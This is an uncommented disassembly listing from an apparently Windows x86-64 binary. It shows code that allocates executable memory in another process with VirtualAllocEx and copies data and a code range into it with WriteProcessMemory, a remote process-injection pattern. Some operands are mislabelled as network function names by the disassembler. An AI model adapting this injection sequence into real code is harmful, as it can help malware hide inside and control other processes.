mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
call fcn.1401c66f0
mov rbx, qword [rbp + 0x290]
mov qword [rbp - 0x18], rbx
test eax, eax
js 0x1401c3c88
test rbx, rbx
je 0x1401c3c88
xor edx, edx
mov dword [rbp + 0x5ac], edi
mov r8d, 0x200
lea rcx, [rbp + 0x5b0]
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [0x1404e9e80]
xor eax, eax
mov edx, dword [0x1404e9e0c]
xorps xmm0, xmm0
mov r8d, dword [0x1404e9e70]
mov qword [rbp + 0x7b0], rax
mov qword [rbp + 0x7d8], rax
mov dword [rbp + 0x7f0], eax
mov qword [rbp + 0x818], rax
mov qword [rbp + 0x820], rax
mov qword [rbp + 0x858], rax
lea rax, [rbp + 0x10e0]
mov qword [rbp + 0x7f8], rax
mov eax, dword [0x1404e9d1c]
mov qword [rbp + 0x810], rdi
mov qword [rbp + 0x828], rdi
mov word [rbp + 0x830], di
mov qword [rbp + 0x5a0], 0xaed0de
mov dword [rbp + 0x5a8], 9
mov dword [rbp + 0x7f4], r13d
mov qword [rbp + 0x800], rbx
mov dword [rbp + 0x808], 3
movups xmmword [rbp + 0x7b8], xmm0
movups xmmword [rbp + 0x7c8], xmm0
movups xmmword [rbp + 0x7e0], xmm0
movups xmmword [rbp + 0x838], xmm0
movups xmmword [rbp + 0x848], xmm0
test eax, eax
je 0x1401c3c88
mov dword [rsp + 0x50], ecx
xor r9d, r9d
lea rcx, [rbp + 0x5a0]
mov qword [rsp + 0x48], rcx
xor ecx, ecx
mov dword [rsp + 0x40], edx
xor edx, edx
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
call fcn.1401c66f0
test eax, eax
jns 0x1401c4153
jmp 0x1401c3c88
mov rcx, qword [r14 + 0x68]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x18], rax
test rax, rax
je 0x1401c3c88
mov rcx, qword [r14 + 0x68]
lea r8, [rbp + 0x10e0]
mov r9d, 3
mov qword [rsp + 0x20], rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1401c4153
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [r15], eax
mov eax, 8
jmp 0x1401c3c96
test r12d, r12d
je 0x1401c3e8d
cmp r12d, 3
jne 0x1401c4163
xorps xmm0, xmm0
mov ecx, 0xaed0de
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
call fcn.1401c1630
cmp r12d, 3
mov qword [rbp + 0x10], rax
sete byte [rbp + 0x18]
cmp dword [r14 + 0x74], 1
jne 0x1401c40fc
xor edx, edx
mov dword [rbp + 0x2ec], edi
mov r8d, 0x200
lea rcx, [rbp + 0x2f0]
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [0x1404e9e80]
xor eax, eax
mov edx, dword [0x1404e9e0c]
xorps xmm0, xmm0
mov r8d, dword [0x1404e9e70]
mov qword [rbp + 0x4f0], rax
mov qword [rbp + 0x518], rax
mov dword [rbp + 0x530], eax
mov qword [rbp + 0x558], rax
mov qword [rbp + 0x560], rax
mov qword [rbp + 0x598], rax
mov eax, dword [0x1404e9d1c]
mov qword [rbp + 0x538], rdi
mov qword [rbp + 0x540], rdi
mov qword [rbp + 0x550], rdi
mov qword [rbp + 0x568], rdi
mov word [rbp + 0x570], di
mov qword [rbp + 0x2e0], 0xaed0de
mov dword [rbp + 0x2e8], reloc.WS2_32.dll_send
mov dword [rbp + 0x534], r13d
mov dword [rbp + 0x548], 0x1000
movups xmmword [rbp + 0x4f8], xmm0
movups xmmword [rbp + 0x508], xmm0
movups xmmword [rbp + 0x520], xmm0
movups xmmword [rbp + 0x578], xmm0
movups xmmword [rbp + 0x588], xmm0
test eax, eax
je 0x1401c3c84
mov dword [rsp + 0x50], ecx
xor r9d, r9d
lea rcx, [rbp + 0x2e0]
mov qword [rsp + 0x48], rcx
xor ecx, ecx
mov dword [rsp + 0x40], edx
xor edx, edx
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
call fcn.1401c66f0
mov rbx, qword [rbp + 0x550]
mov qword [rbp - 0x18], rbx
test eax, eax
js 0x1401c3c88
test rbx, rbx
je 0x1401c3c88
xor edx, edx
mov dword [rbp + 0x86c], edi
mov r8d, 0x200
lea rcx, [rbp + 0x870]
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [0x1404e9e80]
xor eax, eax
mov edx, dword [0x1404e9e0c]
xorps xmm0, xmm0
mov r8d, dword [0x1404e9e70]
mov qword [rbp + 0xa70], rax
mov qword [rbp + 0xa98], rax
mov dword [rbp + 0xab0], eax
mov qword [rbp + 0xad8], rax
mov qword [rbp + 0xae0], rax
mov qword [rbp + 0xb18], rax
lea rax, [rbp - 0x10]
mov qword [rbp + 0xab8], rax
mov eax, dword [0x1404e9d1c]
mov qword [rbp + 0xad0], rdi
mov qword [rbp + 0xae8], rdi
mov word [rbp + 0xaf0], di
mov qword [rbp + 0x860], 0xaed0de
mov dword [rbp + 0x868], 9
mov dword [rbp + 0xab4], r13d
mov qword [rbp + 0xac0], rbx
mov dword [rbp + 0xac8], getservbyname
movups xmmword [rbp + 0xa78], xmm0
movups xmmword [rbp + 0xa88], xmm0
movups xmmword [rbp + 0xaa0], xmm0
movups xmmword [rbp + 0xaf8], xmm0
movups xmmword [rbp + 0xb08], xmm0
test eax, eax
je 0x1401c3c88
mov dword [rsp + 0x50], ecx
xor r9d, r9d
lea rcx, [rbp + 0x860]
mov qword [rsp + 0x48], rcx
xor ecx, ecx
mov dword [rsp + 0x40], edx
xor edx, edx
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
call fcn.1401c66f0
test eax, eax
jns 0x1401c414d
jmp 0x1401c3c88
mov rcx, qword [r14 + 0x68]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x18], rax
test rax, rax
je 0x1401c3c88
mov rcx, qword [r14 + 0x68]
lea r8, [rbp - 0x10]
mov r9d, gethostbyaddr
mov qword [rsp + 0x20], rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1401c3e6b
cmp r12d, 3
jne 0x1401c4163
mov rcx, qword [rbp + 0x10f8]
mov rax, qword [rbp - 0x18]
mov qword [rcx], rax
jmp 0x1401c4177
cmp r12d, 2
jne 0x1401c4177
mov rcx, qword [rbp + 0x10f8]
mov rax, qword [rcx]
mov qword [rbp - 0x18], rax
cmp dword [r14 + 0x74], 1
jne 0x1401c42a8
mov rbx, qword [r14 + 0x58]
lea rcx, [rbp + 0xb30]
xor edx, edx
mov dword [rbp + 0xb2c], edi
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [0x1404e9e80]
xor eax, eax
mov edx, dword [0x1404e9e0c]
xorps xmm0, xmm0
mov r8d, dword [0x1404e9e70]
mov qword [rbp + 0xd30], rax
mov qword [rbp + 0xd58], rax
mov dword [rbp + 0xd70], eax
mov qword [rbp + 0xd98], rax
mov qword [rbp + 0xda0], rax
mov qword [rbp + 0xdd8], rax
lea rax, [rbp - 0x40]
mov qword [rbp + 0xd78], rax
mov eax, dword [0x1404e9d1c]
mov qword [rbp + 0xd90], rdi
mov qword [rbp + 0xda8], rdi
mov word [rbp + 0xdb0], di
mov qword [rbp + 0xb20], 0xaed0de
mov dword [rbp + 0xb28], 9
mov dword [rbp + 0xd74], r13d
mov qword [rbp + 0xd80], rbx
mov dword [rbp + 0xd88], getservbyname
movups xmmword [rbp + 0xd38], xmm0
movups xmmword [rbp + 0xd48], xmm0
movups xmmword [rbp + 0xd60], xmm0
movups xmmword [rbp + 0xdb8], xmm0
movups xmmword [rbp + 0xdc8], xmm0
test eax, eax
je 0x1401c4295
mov dword [rsp + 0x50], ecx
xor r9d, r9d
lea rcx, [rbp + 0xb20]
mov qword [rsp + 0x48], rcx
xor ecx, ecx
mov dword [rsp + 0x40], edx
xor edx, edx
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
call fcn.1401c66f0
test eax, eax
jns 0x1401c42c9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [r15], eax
mov eax, 9
jmp 0x1401c3c96
mov rdx, qword [r14 + 0x58]
lea r8, [rbp - 0x40]
mov rcx, qword [r14 + 0x68]
mov r9d, gethostbyaddr
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1401c4295
lea rdi, [method.web::json::details::_String.virtual_88]
xor r12d, r12d
lea rsi, [0x1401c4f70]
sub edi, esi
cmp dword [r14 + 0x74], 1
jne 0x1401c4407
mov rbx, qword [r14 + 0x50]
lea rcx, [rbp + 0xdf0]
xor edx, edx
mov dword [rbp + 0xdec], r12d
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [0x1404e9e80]
xor eax, eax
mov edx, dword [0x1404e9e0c]
xorps xmm0, xmm0
mov r8d, dword [0x1404e9e70]
mov qword [rbp + 0xff0], rax
mov qword [rbp + 0x1018], rax
mov dword [rbp + 0x1030], eax
mov qword [rbp + 0x1058], rax
mov qword [rbp + 0x1060], rax
mov qword [rbp + 0x1098], rax
mov eax, dword [0x1404e9d1c]
mov qword [rbp + 0x1050], r12
mov qword [rbp + 0x1068], r12
mov word [rbp + 0x1070], r12w
mov qword [rbp + 0xde0], 0xaed0de
mov dword [rbp + 0xde8], 9
mov dword [rbp + 0x1034], r13d
mov qword [rbp + 0x1040], rbx
mov qword [rbp + 0x1038], rsi
mov dword [rbp + 0x1048], edi
movups xmmword [rbp + 0xff8], xmm0
movups xmmword [rbp + 0x1008], xmm0
movups xmmword [rbp + 0x1020], xmm0
movups xmmword [rbp + 0x1078], xmm0
movups xmmword [rbp + 0x1088], xmm0
test eax, eax
je 0x1401c43f4
mov dword [rsp + 0x50], ecx
xor r9d, r9d
lea rcx, [rbp + 0xde0]
mov qword [rsp + 0x48], rcx
xor ecx, ecx
mov dword [rsp + 0x40], edx
xor edx, edx
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], eax
call fcn.1401c66f0
test eax, eax
jns 0x1401c4428
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [r15], eax
mov eax, 9
jmp 0x1401c3c96
mov rdx, qword [r14 + 0x50]
mov r8, rsi
mov rcx, qword [r14 + 0x68]
mov r9d, edi
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1401c4295
xor eax, eax
jmp 0x1401c3c96